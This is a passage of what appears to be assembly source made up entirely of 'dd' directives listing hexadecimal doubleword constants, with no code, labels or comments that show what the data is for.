0B1585191h, 68DF702Dh dd 0EA42B001h, 2F25D540h, 0CE00804Ah, 26F80E9Dh, 24006286h dd 0C2A813Bh, 4CA13011h, 0A8009802h, 38DCE5C5h, 3A002C75h dd 830CFC41h, 0C5EFFE72h, 40DE2A4Eh, 98395E9Ch, 4227EE4Ah dd 57C4308Ch, 45020443h, 87F7F468h, 4F14A234h, 1FD240C0h dd 780F421Fh, 59E560Bh, 1080AF20h, 16656702h, 23C65CFFh dd 0B6C108E4h, 6C9BCB2h, 6C652843h, 73D4B092h, 50680283h dd 739214CAh, 784C9809h, 50D3739Eh, 60D4B872h, 4110498Ch dd 109430A7h, 8150908Bh, 206957D8h, 1C2172C0h, 879C189Bh dd 0B1F388ACh, 0C86DBE68h, 0F100DCE6h, 0F6959E8Dh, 0C2515Bh dd 0BD852104h, 2D8C14Fh, 20256612h, 0E1B57C0Fh, 48509EBCh dd 0EE3C5C80h, 89B98C7Bh, 0A700DC74h, 35FA82B8h, 88AD4Eh dd 38E9D24Ch, 942A1F08h, 7E014604h, 0F8A01C8Fh, 5C267298h dd 0A1187C6Fh, 3E11D18Dh, 8025A625h, 8B84E310h, 49A9056Ah dd 9CD226C0h, 0C3B8552Ch, 66793F00h, 5134EC18h, 64E500FEh dd 36F850C3h, 0CC03ADC0h, 0D5F48ABh, 0E8D6F3h, 0A54A892Dh dd 273E5344h, 2E627A0Eh, 5046A0B8h, 5CB73BE3h, 5E247C74h dd 8D402994h, 10197541h, 5C0866F4h, 4CBA7801h, 408D24FDh dd 5826BC31h, 8336C402h, 446EBC41h, 0A00737Eh, 21486EAh dd 0EA0D94CAh, 5DA877E1h, 0B1029C2Eh, 79C5461Dh, 0C8F96050h dd 0E200CD7Eh, 9BEDAC4Dh, 20788B9h, 0BF8AF4A1h, 1C481847h dd 6E183E70h, 0E1A1094Bh, 0A85624DBh, 2FC282Ch, 9E31E9ADh dd 0B450A964h, 0D416304Ah, 664C00C0h, 74F3003Fh, 619A3A3Bh dd 8809623Ch, 677D147h, 1228BE5Bh, 40CA1C67h, 887E5098h dd 2A48FCC4h, 0B4D8A58Ch, 0C0702D9Dh, 6891A0A2h, 0D0EE7462h dd 0BCD6922Ah, 0F10F3A01h, 216D731Ch, 30582C60h, 4051BA0Ch dd 0B8504D6Eh, 0B700B490h, 233876C7h, 5016D593h, 74C8B8Fh dd 122A4DF0h, 29889009h, 0A24C1C01h, 83861E3h, 1A31B4A3h dd 63E41460h, 0F767788Ch, 0D82D5C80h, 2E361B01h, 0D29238CEh dd 59A04878h, 4600E337h, 79D2E126h, 0B92AF5D3h, 52F40440h dd 5900B08Eh, 0D53AA100h, 7CA84BF2h, 0E8BA2Bh, 3F331DB0h dd 0C30B8782h, 0F9264200h, 8CE817C7h, 7DB798Dh, 16B31E68h dd 0C3632053h, 0EE0BE3BEh, 23CD9847h, 0BA283EF4h, 6DD440E0h dd 93DA24D0h, 8A5903BDh, 38B9C80Eh, 14C0FAFCh, 0CC01AF62h dd 43FA1686h, 0D8A6B74Eh, 95C95898h, 144049h, 0C21CD5B3h dd 79046D35h, 0BFBB01BCh, 0DD578376h, 31C8656Bh, 0CFC9C4CEh dd 0BF125F00h, 9FFBA5BDh, 0B0F6FEA9h, 44B61624h, 9DB42089h dd 7C0095DAh, 7646582Eh, 902BB455h, 0E02C9E3Dh, 6676283Bh dd 0A1567F05h, 0E0E6BF3Eh, 0FCFE7383h, 0EF9C5EB1h, 0E57AAFB8h dd 90BE772Eh, 17720C3Bh, 55E9D1h, 0D6428E0Ah, 0A5D0A44Ah dd 0B0DFF600h, 7123827Bh, 0FA8C020Dh, 2F7C53FCh, 6742847Ah dd 5A582407h, 98205170h, 0B0CC3951h, 0BC29D5Eh, 0F395AC74h dd 34671011h, 6371051Ch, 6D006274h, 0E38E0C46h, 0B43645h dd 8C1D24EAh, 50C101CFh, 0FF514900h, 0A10D6A32h, 99AC0329h dd 868E2FFEh, 3E6596F0h, 1405F590h, 98660844h, 5ACD90CCh dd 949C2003h, 5500E7F7h, 646627E0h, 61A3F3h, 2CED6B0Bh dd 3CC79C5Bh, 3D4488BEh, 0E99974D0h, 86820498h, 83522927h dd 0F00359CFh, 676DFF6Ch dd 6281C07Eh, 0F69700BFh, 894EEFDEh, 0EE00D329h, 73195B31h dd 143798h, 71BBA06Ch, 7D160CB1h, 0AA3BF905h, 44C005E3h dd 125520C5h, 95821570h, 6A9C806Ch, 640138E7h, 7FF2DE93h dd 0C9D0AABAh, 1D9A15FCh, 791CB8E8h, 8F89400Ch, 18646C1Ah dd 120DBF00h, 0DB315CA8h, 13CC0083h, 0C754BEE6h, 2C91DED3h dd 71BA5541h, 0C9E94835h, 0F802E60h, 786C0AD5h, 0A8E0AEE1h dd 9F19E4A4h, 501326E2h, 0E8803164h, 0C067CBA6h, 5347E0BAh dd 79005D08h, 1D3A02A0h, 38093D93h, 5808C59h, 111839A4h dd 270D0E94h, 79AD7E48h, 90C7D920h, 0C3290C9Ch, 5819D54Ch dd 7A100913h, 0A206B0D0h, 0F14027D8h, 6C74D880h, 0F8942C1Ch dd 0A7F06052h, 0C849D283h, 2C0070F8h, 0ECB22864h, 5E588F26h dd 2B7400D4h, 43734177h, 0B0642200h, 115437CDh, 69871618h dd 56F04032h, 8DA75209h, 347A1C00h, 9F2E1462h, 38E34808h dd 0F5804D3Eh, 9D7C2D21h, 0FE58A8F4h, 0C000D7A0h, 170C2EFFh dd 8C7822h, 0FB41731Ah, 2F8A2A59h, 0E09BA900h, 0F7CE9DBh dd 0D8AEF6h, 9AE7ABF2h, 878D512Eh, 70BDD02Dh, 4C9500B4h dd 0DFCD70A9h, 0E20113F9h, 74AFE5ECh, 8C405A23h, 5E625A8h dd 0CB16A2B9h, 7F14E0BDh, 679A5700h, 0AA9C12E2h, 0A261072Ch dd 688271h, 52484DE3h, 891E0B04h, 10F4B86Bh, 0BB6C98D9h dd 24D361E4h, 0A720CA6Ah, 0AE8EF1EAh, 2298A088h, 302A0098h dd 5C1CB2BDh, 0C302EA7Eh, 8E08E587h, 3DECD8C0h, 0E91D6501h dd 815493FBh, 212F5DECh, 0FC1C4044h, 0B400B092h, 0A0743E75h dd 0CE6391C3h, 6E2533F8h, 1DC4A03Ch, 9D648A5Ch, 38132CCBh dd 5DC23D0Ch, 0CD16544Ah, 0DE0C0081h, 53222966h, 0B934109h dd 0F07C0290h, 4004F9C7h, 0FAAA0491h, 0B20180EEh, 0F338AFD6h dd 55C052D0h, 0E4C90026h, 64406516h, 0CD65FB3Bh, 40A44E79h dd 296A1C34h, 9CF4040h, 0D99B220Ch, 139F1703h, 0D8B76BFBh dd 4B0892h, 0A758B1C5h, 338495CAh, 87DD9D05h, 88C4BB24h dd 0A2E34ACh, 0D710829Ch, 0E8EC3805h, 1592E501h, 0B7547350h dd 0C602CC29h, 19300157h, 47A09C43h, 6A03189Fh, 52C8BBB0h dd 9E57B8F4h, 8B901FFh, 383337A1h, 223270E7h, 43AB7613h dd 52CA50C8h, 0BC19428h, 0F8248A4Ah, 2A0BA363h, 0AECC2BD6h dd 791F6018h, 7076D16h, 98336059h, 0AF88A4Eh, 0FA7A75Bh dd 0D27C015Eh, 42004028h, 0C88814FDh, 7887A901h, 0B751F9FBh dd 9E26EC4Ch, 93190094h, 0B6D6DD0Ah, 9CE83205h, 64F4C70Bh dd 79290F9Eh, 67C3DE85h, 0C2E51583h, 0DC72AD28h, 90825A2Fh dd 1F98B42Ch, 43BE71F6h, 42BDE5CDh, 9752007h, 2A109BDDh dd 667503Ch, 626F6E12h, 550189D0h, 0C387E0Fh, 7DFCF4AAh dd 0A86F48DCh, 4F888CA0h, 0F2C48CA8h, 0A7B82E00h, 0E8C96117h dd 0A0681DC7h, 80888BD5h, 3C11D80Bh, 90E2DE9Fh, 265A3CCCh dd 0A7A1E440h, 265C6412h, 1F32F45h, 49D41415h, 8E046D18h dd 0C42A803Dh, 4DE5807h, 0E2D74F70h, 0AF67805Bh, 0BD4C9A53h dd 33AC007Ch, 0FEAE6314h, 1CC8BE29h, 442A400Dh, 0A53AC512h dd 98A2E105h, 902085DAh, 0CFB5A1h, 384472EDh, 0BB4D1F6Ch dd 732EC7FEh, 1182309Eh, 0F03F34B3h, 0EDD90058h, 2438885Fh dd 0C21F733Dh, 0AE829071h, 0DABC70D2h, 3864B028h, 0C496A4C5h dd 90F0184Bh, 9448185Dh, 75E07BCh, 54904277h, 40E7E0Ch dd 83CAEA62h, 1E8CD0C0h, 29134990h, 80004309h, 9B9E5107h dd 242C3C7Ch, 0B4202782h, 4CECFD41h, 5042FA12h, 30DC7813h dd 0DF8F0021h, 140B863Fh, 330743F4h, 0BB51571Dh, 0CC7527Ch dd 3065A6E2h, 34F0A519h, 36464E00h, 56856D5Bh, 804CB004h dd 1A08418Ch, 89DBDA70h, 9C14C862h, 4461312Eh, 0F995A705h dd 0ABD2D400h, 4BB68C2Ah, 1E48C0EAh, 0F61FC662h, 9F41DCE3h dd 0F86C51C2h, 0F912C02Bh, 0B0C2DA41h, 54B74E56h, 0D95C1384h dd 1E42508h, 66B5FEC8h, 5596DEE4h, 0BAE6828h, 79BC90E8h dd 0FA86043h, 0C800DE7Ch, 4E592C03h, 7ED1451h, 84C3CB5Dh dd 0EC149988h, 0E0E5D498h, 6A8806BEh, 462C0118h, 36622E63h dd 2D5C2052h, 41004990h, 7BEB1B9Eh, 9C98CAh, 0FD0E4699h dd 0D9925D2Eh, 0C68330Ah, 7A0098F5h, 7FC8A9A1h, 5B007C6h dd 143DCBA5h, 56A8C15Ah, 2C403B29h, 775E597Eh, 0A9850092h dd 3C5AC797h, 2BB8E73Eh, 6C1E2C96h, 602EA11Eh, 0E1899941h dd 5FAC48E2h, 22D5148Ah, 8B004893h, 9431F155h, 4880D773h dd 0F0AA00E6h, 7725DEEBh, 44001196h, 24B7386Fh, 12A3B3Fh dd 289D832Ch, 4133624Eh, 693CB324h, 518D0580h, 0A0004A7Bh dd 562861FFh, 310D5EAEh, 0EC9A3234h, 0F377BA08h, 48FD002h dd 0D9BEFD6Ch, 166F419Ch, 6AC850EAh, 0B54BD2Fh, 0D026A4C4h dd 0EC80FCB6h, 47E0A22Ah, 0C76200A3h, 0E7A6A920h, 0D90B488Bh dd 9069EC8Fh, 110E90h, 99C8FE30h, 0C06E0CE9h, 0B40258BBh dd 0E4891B70h, 0DB840320h, 0CAB1DD5Ah, 38A8DFD3h, 0A6176A1Dh dd 148049DAh, 0F3C0663h, 6B62D6D7h, 99887107h, 18CEE009h dd 0B004C71h, 1E83A558h, 73631D70h, 0B4A20B05h, 0EA0B27E9h dd 82FC6010h, 971EEDE4h, 0EF01B0EAh, 0C07CC118h, 0E7F1B429h dd 0A48EE8B6h, 7D73270Fh, 60B02BC4h, 15377874h, 0DC564E71h dd 0CBF86880h, 221D9889h, 0AE008132h, 125143D7h, 25F3B053h dd 604FBF01h, 48DABC30h, 0E4F1C06Ch, 86C105B6h, 31C5F001h dd 7DA35DB7h, 0B634A4FCh, 11D35054h, 0AE77B038h, 9B7080DDh dd 0F06018Ah, 0B4701B20h, 0C071F6EEh, 3DA46825h, 41234EABh dd 0A941AF80h, 16498B99h, 0E208068h, 1611537Bh, 44CD8284h dd 85C64D48h, 932006E0h, 570199D3h, 65604708h, 70A52025h dd 0D5B15CE8h, 0CF642B0Eh, 0AA4B0369h, 2701E035h, 1328FC53h dd 309845EBh, 41C7A000h, 0A9B2AE1Fh, 4DE19130h, 195E27h dd 5C951DFCh, 819DBF22h, 0A403A3B4h, 4E4C402Fh, 419640C3h dd 6E1BE301h, 0DC32BFADh, 8BC03028h, 0F13582FAh, 0C3A24A1Fh dd 0C24C8901h, 0D180D76Fh, 7415143Bh, 0EB004D6Eh, 92E9CE6h dd 0EBF30D5h, 288E05E3h, 0CA819002h, 5B788CACh, 2A74960Eh dd 0CC8EB26Ah, 27E82C2Eh, 5DF3E840h, 0F369884h, 5604C1Ch dd 383F7A40h, 81D867Fh, 0ABCEF7EBh, 28D52Dh, 0CB0D2E48h dd 605CB1EDh, 0C1DFD8F0h, 730054FAh, 682A654Ah, 178496CCh dd 0C102DCBDh, 2499C61Ch, 0AB495670h, 6E2A0240h, 48226081h dd 0FA3C0764h, 62F42F10h, 0B47A6C05h, 0A415BB90h, 0CCB5CFh dd 0D34B6C3Ah, 0C85FEEh, 2EB82767h, 3CCE9D37h, 80B52638h dd 0A5F07595h, 68269F9h, 1CFC52DFh, 3EA028C2h, 0F400AD0Ah dd 0A89CD6B0h, 25C123h, 319EC8BEh, 0D07FF52Eh, 0A9CB1203h dd 0F841F145h, 7C3C0ABh, 88F84B1Ch, 0A020004Ch, 0D400BD44h dd 2E1FD065h, 0F19B6D9h, 0D8B7888Ah, 13105920h, 984F8DC2h dd 12954EE0h, 0B04C501Ch, 9E50C074h, 79006D8Ch, 6A9875F4h dd 7F06F8h, 0C358DB7Eh, 97B53C0Fh, 10845D4Eh, 734E9481h dd 0EA09C78h, 6C2C8B0Ch, 0A20018E0h, 5934F639h, 900B0094h dd 0D7EAE6AFh, 2E28B1Dh, 5553CE00h, 82515BA5h, 878325C3h dd 404E7020h, 3E13560Fh, 7F09C9D9h, 7EEC443Bh, 34A049FFh dd 54C2EAC0h, 0F501E566h, 31E7F87Bh, 0E478BC41h, 0E5BD14CFh dd 6692C0E0h, 9C1C0100h, 2385EF5Bh, 99332671h, 22C3017Ch dd 0BEF21177h, 0B02D2816h dd 0E15DC80h, 9CC1B500h, 0C7DCA7BFh, 0C0A600DAh, 68763A9Dh dd 0B07FE6B1h, 88B74F24h, 84705B49h, 938CD516h, 7BA81A24h dd 84796A32h, 0AB3CDA0Bh, 95602115h, 31D8981Fh, 74E47AB2h dd 17405A51h, 0B918C4C0h, 0FF08806Ch, 0BBD15899h, 0C570050h dd 768E0B59h, 0B83BE107h, 6560FC80h, 9098D215h, 45F10C70h dd 907914C8h, 34800E02h, 40BAF0B5h, 75E13C3Fh, 0E08403B9h dd 16A7C9F3h, 90FA3FF8h, 74E2A007h, 5B40D4BAh, 183C5D58h dd 0A86099EFh, 3F2C8E2Fh, 0F2C3A0BFh, 249D0F6h, 0CC7000E2h dd 2050915Eh, 131269B2h, 3ABA6C7h, 0AC5233D6h, 47EE8080h dd 483DA000h, 1FE94669h, 0EC4C002Dh, 0A8D11DC5h, 82267427h dd 2E01F444h, 26FB58DFh, 76D414E0h, 973B3212h, 305BFEE8h dd 5F2A1180h, 3BB502h, 0F13C109Fh, 6D50149Bh, 43B94602h dd 4A1B0E55h, 0E6E58998h, 1C31308h, 3BF80787h, 0BE9C902Dh dd 0D0047C24h, 98F5BB59h, 0AC840485h, 0D370B2h, 7564370h dd 892ABE4h, 52912501h, 38853A2Ah, 7C78F049h, 2D328600h dd 0F4C9722Eh, 9C1D1C00h, 85D929DCh, 0D7D5053Ah, 0F08B55D0h dd 0CF3896B0h, 0C43100F6h, 0E14162Dh, 0C04C596Ch, 0E38EE50Eh dd 0D310A820h, 4207A35Eh, 0A9D24B3Bh, 329BE200h, 0A1F89AC5h dd 69C44064h, 9066482Eh, 0F155AB81h, 0CBA8322Dh, 0E0FCE313h dd 2459E8E9h, 80B0151Bh, 7693770Dh, 0D2583EE2h, 700B09E8h dd 4ACF467h, 81CF56D5h, 52949070h, 8400C88h, 0DB014423h dd 2D1392B7h, 0C22AF061h, 88502A36h, 0AE2B4C00h, 7910B890h dd 21C10469h, 0A4BF36B9h, 8FB5567Ch, 698F4078h, 3B654C26h dd 717D7E1Eh, 703FFF0Bh, 0CB710ACh, 8A00A492h, 0B190C7CFh dd 604BDFE4h, 30F4F165h, 63C8B8Dh, 0B88A0061h, 1B9F75FCh dd 93010080h, 0EF1A148Ch, 0E3023D4Ch, 12FF9089h, 8079E4h dd 57D7714Ah, 18EA338Ah, 0F0CF9F4Fh, 0E572FA07h, 0F0E2039h dd 285E5E97h, 59141C54h, 709C288h, 0D1E84852h, 0D6870744h dd 0E57B5E80h, 2F80A22Ch, 3840103Dh, 8E2D09F6h, 5838D96Dh dd 59F6F0Fh, 88F02C14h, 54A67F22h, 2884A0h, 112F545Ch dd 0E2611BA7h, 0B8A5322Eh, 18666380h, 34442864h, 0F9702FA0h dd 5AB50998h, 52E0A4CEh, 5B24B080h, 490D07A3h, 50BF0836h dd 58CB577Bh, 778DDA01h, 0F9D112D2h, 0ED27CC50h, 0A2C62EFAh dd 0FBF0C00h, 68948D19h, 90C0C012h, 0D2A253h, 21B24C2Fh dd 35BD966Ah, 46297504h, 0F180F864h, 714F776h, 804158F5h dd 542500E3h, 0FA122496h, 80B1F949h, 1B1C906h, 46556D61h dd 4096E054h, 0A8A7A3EBh, 7040FCB6h, 5930ADAh, 7D7A1B29h dd 0F3BC1207h, 602E2580h, 2A51C788h, 1D810C4h, 549D028Ch dd 2B7D2F75h, 0F5FCF070h, 3E5505DCh, 40F70853h, 446D41F8h dd 0A500B8D0h, 12BB8FF3h, 6BF6CEh, 0CBE45924h, 98AD95BDh dd 4F19020Bh, 0E35CE0ACh, 167D0030h, 9ECAF31Bh, 0DD271A89h dd 0EC7CC06Fh, 0FD63042Eh, 0E3C664E5h, 85831BF0h, 52981260h dd 4CCD8BFh, 0B888B324h, 0B98B0600h, 1FA48546h, 79E65Eh dd 4F0EF247h, 0F1038115h, 4172B9C7h, 0BEC802EFh, 8233C51Fh dd 549854h, 54486FBFh, 0B7520111h, 8177D000h, 0A3A8412Dh dd 5820963Bh, 0F209B104h, 0E4E74ABAh, 8C1E5A28h, 0E6037DD8h dd 0F40F7540h, 3062D92Dh, 4E242Dh, 0D4BF2BC4h, 952F25h dd 3A2CAC40h, 2CE6E054h, 293374h, 770763Bh, 0EB1B5241h dd 0A6688F43h, 1865BB1h, 74933A8Ch, 0E4CEF2ECh, 305A523Eh dd 1D40712Eh, 0BC5E00E8h, 910E7069h, 3D129429h, 0CC41734Fh dd 9974AE41h, 201C053Bh, 48D8CCB4h, 9C1AF301h, 374FE656h dd 506D24D9h, 0A8DFAA00h, 1C1ED126h, 16DA5504h, 0E4D220B0h dd 20DCD4EDh, 4E881380h, 0F2DC8072h, 6A02701Ch, 417A1A8Bh dd 700876B4h, 449908B3h, 51826A84h, 7DCE08E0h, 0E89504F0h dd 0B8AAF1E1h, 0E63A180Fh, 0FEDA6B21h, 0C4CD246Fh, 0D41758BCh dd 7C04279Dh, 914FD540h, 9B030020h, 6B3AFBFFh, 22041504h dd 0C7E07659h, 409674A8h, 0F5BC7578h, 0B300A718h, 0D25E3D4h dd 193E214h, 7B660946h, 96BB124Ch, 16053FD1h, 7430C83Dh dd 6F9B6Ah, 0C359832h, 0AEEDB0FCh, 0B966918h, 0E115B8h dd 0BCC7F5E5h, 0C0F13A47h, 515BDB0Bh, 0B7E0DA3Eh, 75224400h dd 3D1ED4A1h, 8480FD73h, 57413A7Fh, 0A8A401E3h, 6A052E86h dd 8CCCF08Ah, 480B5A00h, 27111FD5h, 837B0123h, 6A743826h dd 0E0282B2Fh, 31F666h, 19F3DBB4h, 731FF1B7h, 7E3B2400h dd 5A10557Bh, 6474F7F6h, 74AD0063h, 0F8DCE7D9h, 8269FE8h dd 9805CC7h, 7A72C1A4h, 7CC626A5h, 3C0A8240h, 0C0E00DFCh dd 8D3F0E5Eh, 4BF2C91h, 3383F100h, 506A9FDBh, 0ED39C11h dd 0B3D6BA4Ch, 980F0420h, 5CBABE59h, 4C90825Ah, 0F4DF44Eh dd 732D9B06h, 8424EC60h, 630C8759h, 0E1AD1FAAh, 1B50028h dd 3D582EE9h, 27006777h, 1E416A63h, 48A5888Dh, 0A027C6D8h dd 0C4AB3CC2h, 900BBC04h, 8D61EEB0h, 283E9800h, 3A913CABh dd 13AF26CFh, 1D5C0326h, 9927A965h, 529C0B2Dh, 12949A80h dd 4027B91Ah, 69497F74h, 481D6436h, 1C13344Ch, 0DE0088A7h dd 43F2F92Fh, 3B0B4152h, 20305CB5h, 70C8A5CCh, 4471C0C0h dd 652BED9Dh, 4D740302h, 4056C55Bh, 7E0E4500h, 0CA731DE8h dd 778028E5h, 1A541249h, 6D70A4B8h, 0F0124D5Ah, 0FB13CCCBh dd 5958C1BCh, 0A47CE060h, 0DB8CEE03h, 0E8E0D832h, 0FCC92AA2h dd 24AE090Bh, 9890767Bh, 0C8500A72h, 490935C0h, 89156B4Ch dd 689CA8h, 0F10F5772h, 224CD781h, 7A413Eh, 6F3A21C3h dd 5C6A112h, 0C082F1A6h, 0F6B101ADh, 4444A37Bh, 57588190h dd 91B0C3F8h, 0B49EC253h, 361358A8h, 1C40ED35h, 0B0E8AB7Ah dd 0A68E00DFh, 2F04EAB7h, 0A002137h, 6FCB8DD2h, 7187F9h dd 0E2A241D0h, 961E994Eh, 0DF85FA09h, 5EC4923Ch, 0B5DC00F0h dd 0A920FEABh, 7EB89B12h, 62347844h, 812678CAh, 38A8B8h dd 6CA6C751h, 0EA201A49h, 0AC1CAE0Ah, 2300A4C6h, 98CBC3B4h dd 564406A0h, 599BD3F7h, 69415500h, 0E875A30Ch, 2DD0E2E3h dd 0F490C089h, 0FA00789Ch, 9BAE72F4h, 308AD2C9h, 0A9417471h dd 1460BA34h, 0E6399799h, 88A109A5h, 0A0F8645Ch, 93995088h dd 0A9736801h, 0F5617F6Dh, 620C8C26h, 0F15967B9h, 29165D12h dd 4AF7D070h, 0CB7905EFh, 0C03FC578h, 0CFAD4D8h, 9009F0h dd 344D3D01h, 0A66152FDh, 0C46C392Eh, 69C2DF10h, 0DC8E8549h dd 0F4632D94h, 0C61F14C8h, 7A3C21C0h, 1C572F96h, 792E5B5Fh dd 0B80A398Ch, 0B3E206D8h, 9F6F3100h, 0FC7631Fh, 2A4A057Ah dd 205A947Dh, 0C8D91DA4h, 0E1E1D74Eh, 5ADC2050h, 0AB7D01FEh dd 0DEDB9D2Eh, 0FC202FA7h, 436497h, 14F3BE2h, 0A2F39FA5h dd 6E857100h, 3DE55B20h, 0DCE601C1h, 9A990C0h, 0CBB855CEh dd 7E9B02E8h, 0C8B8F538h, 0BC2CD6D0h, 296A8FD4h, 0E6C7E8C1h dd 0A89FEC03h, 4E90112Eh, 36B47F00h, 0FC8A592Eh, 6F10003Dh dd 0A3E14527h, 6A002BB9h, 1D5D57B0h, 4624D21h, 7D75EE64h dd 0BAA9806Dh, 0FC5C1360h, 0EC4700CCh, 7CF6AC2Ah, 81BC00E4h dd 7094343Ah, 0E217A083h, 0A02C37D1h, 0C1CE0188h, 2B91DBDAh dd 2816C802h, 0C8EE0A03h, 0E794BA8Eh, 2FFDE780h, 0B9F7B60h dd 9664B32h, 6500A4F8h, 3C55A60Fh, 4C59AF21h, 7905647Dh dd 563BAE1Bh, 176C8080h dd 0EC169DA7h, 0EA000FE9h, 5B2D3007h, 174096C8h, 0A43C5226h dd 6A257CACh, 554802D5h, 2830D6DEh, 83950000h, 0F75229EDh dd 75F07901h, 0ECA7D100h, 0BA5A1960h, 0C68C3D23h, 0D7FEAE12h dd 0F2924084h, 53009A06h, 794B582Fh, 2C2CE93Fh, 803C65BBh dd 4F822EE5h, 5E01422Dh, 81236D59h, 433E5698h, 0A82273C4h dd 0B07490B4h, 0B2F4602Eh, 4D900AB0h, 2FFA950Bh, 67B40F55h dd 61B09F26h, 12FF9188h, 405FAAECh, 55A2DEE4h, 9897BF20h dd 18E59C48h, 612EA623h, 0B72F30B2h, 0E081172h, 0B23AA7D4h dd 0CD1F42Ch, 0D71D71F0h, 2A3F6B59h, 4C6005Ch, 87E72C92h dd 8B124F2Fh, 1CF30500h, 0F4CF8268h, 0ADEA3812h, 9928938h dd 9CCD169h, 0F05917C5h, 3F30C0C9h, 23D60B57h, 1A802204h dd 0F421F0C9h, 7E917309h, 0C8980CC1h, 0E527ECCh, 0FE9D9F71h dd 32958FC0h, 3B714F6Ah, 0A1348100h, 0CB78E55Dh, 62640827h dd 6D02F7EDh, 64B43AE7h, 4480184h, 14859F0Ch, 388A2B92h dd 23E97E00h, 97EEF94Ch, 6524209Fh, 278F2861h, 284C605Eh dd 0A05750C4h, 746FD881h, 436B1161h, 72FD645Ch, 0D9F145B0h dd 37B08E01h, 8947E0A9h, 136Ah, 0A615380h, 309CD67h, 72E0588Bh dd 70C37758h, 4B440943h, 84592F72h, 1644902h, 36C518Fh dd 2DA06874h, 5AE041C5h, 7F083788h, 72547400h, 3EB5FA47h dd 0F0892017h, 28DB09CCh, 577C83A7h, 0C38E805h, 0FDF279h dd 0B7F11C47h, 8816EC96h, 8E05EE12h, 0F400FCA9h, 61406C2Ch dd 0A4F2E22Dh, 0F5DF5B05h, 6400D6E8h, 0DD477728h, 42ACBC73h dd 749319D8h, 3C820481h, 7897D750h, 5E1D7000h, 0FD9D0302h dd 78F342F6h, 643906E8h, 0A3767C00h, 810770C7h, 3322005Dh dd 9053FAC4h, 3625558Ah, 0F0549610h, 0FD7A004Ah, 0EDE28232h dd 602091F2h, 0E6202F6Fh, 64000064h, 696B7DB4h, 0BE3FB603h dd 19B12DCh, 0E084DA0h, 9446E485h, 0B5E645F2h, 81B0F8B0h dd 913DDB00h, 0A5AD41F6h, 0F52C16E4h, 5F1801BFh, 0F554C59Ah dd 4A02823h, 0E48CE856h, 0D103C4ECh, 0E5F338ABh, 0E2E6AED8h dd 285F7DE6h, 0F19D90C3h, 983855DBh, 782D16ACh, 24BC649Ch dd 70E86F88h, 0DA07A5E2h, 0DF9A20D6h, 30D04084h, 5AAA77BCh dd 0C0D8D444h, 0C8E11C24h, 6DC98D0Bh, 8BE3C017h, 0DFDE00C4h dd 0BD051C5h, 0EB1845F4h, 0C278B33Fh, 37527A16h, 0D010B287h dd 690F80E3h, 3F4480BFh, 527BB34h, 4C395FD0h, 2B02FB16h dd 0ED238B86h, 94C4254Ch, 3B40C0BEh, 7570B803h, 6094F641h dd 117AC923h, 865D3871h, 9A7315F8h, 0A0CA5F94h, 9C3C6700h dd 978C08F6h, 486D6C0Bh, 0FB718BB0h, 367C8068h, 0AE20690Eh dd 0C394D716h, 0A7525473h, 4B357D70h, 0C74424EEh, 0C19E40D8h dd 0A60C24Fh, 9B048E79h, 9292F56h, 0A0B4B064h, 98267343h dd 2CF86Bh, 82CDE129h, 0FD5A317Ah, 43F8B9B5h, 9640403Ah dd 599AD088h, 8087FA39h, 0ADF30704h, 4A73DF24h, 1FA8B0A8h dd 64616902h, 62C96B33h, 2FF4E074h, 0C01BB7C7h, 88F897A2h dd 84B52A26h, 0D912D000h, 1687554h, 0FF278572h, 0D4239C6Bh dd 0F3A3B050h, 58F4E4EAh, 4F93991Dh, 0B033E4E5h, 359A4503h dd 3CE2EAD1h, 0AA091C50h, 0EEBDC7C9h, 72FE8D4h, 11966979h dd 3AE6B051h, 98C3778Fh, 904B3CA7h, 3B7F032h, 0D0BA3587h dd 64D91E4Eh, 0C4FC7147h, 0D800C95Ah, 7F28224Ch, 4E7033E5h dd 60308886h, 4BB97714h, 2FAB00A0h, 749E1FFAh, 57460014h dd 777B263Ch, 0D200392Ch, 506D715Bh, 5BA99DDEh, 0D34CD886h dd 854F0C71h, 79FD488h, 0BC539EDCh, 0F03170D0h, 0B9F1EFAh dd 5B1CBED0h, 29F499BFh, 520C00FCh, 9EE3BA9h, 0DA6B0486h dd 0F8072D18h, 905C4B48h, 0C243EB8Eh, 0A01AF045h, 3A1D96C8h dd 7BB80B05h, 6C00FCE9h, 35924C8Bh, 217068CFh, 0BF5D0EA5h dd 269BDCCh, 0B41C3F84h, 9064618Bh, 57AD2600h, 3DBB6438h dd 0A8F35CC8h, 0B0632E80h, 560A39C3h, 7065F50Bh, 168D4650h dd 0AFD6Bh, 751E0948h, 0C54C7189h, 6C07008Ch, 0D3F31263h dd 6D50314Bh, 0C6E7DED8h, 11CC8DAh, 0C3D4EFBh, 3891E0C4h dd 8CF244h, 634FAEFDh, 79B6116Fh, 0DEA57705h, 5CC8A149h dd 0CE07301Fh, 5E30B791h, 502A2025h, 808899A8h, 9210547Eh dd 0D5003B4Ch, 0C4D69395h, 0F23220FEh, 271FE9Eh, 3F980849h dd 0F4D185CAh, 3EE87B00h, 4F60D73h, 422D4A77h, 8F60D143h dd 88802A74h, 52B6D64h, 0D7A7236Bh, 8C8E131h, 760246E0h dd 7CB622EEh, 8B94DECBh, 68D01368h, 0BD70C49Eh, 4AA83EC8h dd 9E19FB0h, 66006045h, 149B6911h, 5EB27144h, 5B048FBEh dd 0DEC70C0h, 113A00E8h, 1C0CB049h, 7000A427h, 5B8F81B3h dd 7B63E351h, 3958A424h, 0A8130955h, 6858B441h, 0A2427B1Ch dd 0FA762800h, 0E749924Bh, 0F8ACC841h, 94100B2Fh, 2F4B68F8h dd 0BCD280B2h, 0D80BDDE0h, 66C2E94h, 121C151h, 987C283Dh dd 527B3BD0h, 4C7E5DB0h, 38926CC4h, 83B9603Fh, 5D590130h dd 18F932CFh, 362F0CEh, 0C880905Fh, 95368B2Eh, 0EAFF9CC6h dd 614B5094h, 2C6D0081h, 48C4922Eh, 0D34FD160h, 8318261h dd 0D5C00646h, 2630BC65h, 3E300060h, 0D470292Eh, 0D4CB0B36h dd 0AA750040h, 9F209611h, 7A00A426h, 5E93BB8Bh, 18304A4Ch dd 0EEC46642h, 5BB0D25Dh, 0F571B6B0h, 0C585390Eh, 0F1D140B1h dd 5CADF47Fh, 0C700DA81h, 4BBC50EFh, 900110BDh, 3B37BEE9h dd 1880F006h, 324D7B8Ah, 9D003301h, 87703D6Ah, 99480F2h dd 2B5BF3B2h, 0B3462A80h, 1D18D009h, 721076EFh, 5E2300CDh dd 85A27AA3h, 0A40FC9D8h, 6328ECE2h, 5DE008h, 0E5CE4728h dd 80D4A91Eh, 67F8B41Fh, 0C18EB14Eh, 6FE6CF1Ch, 3F7AADD0h dd 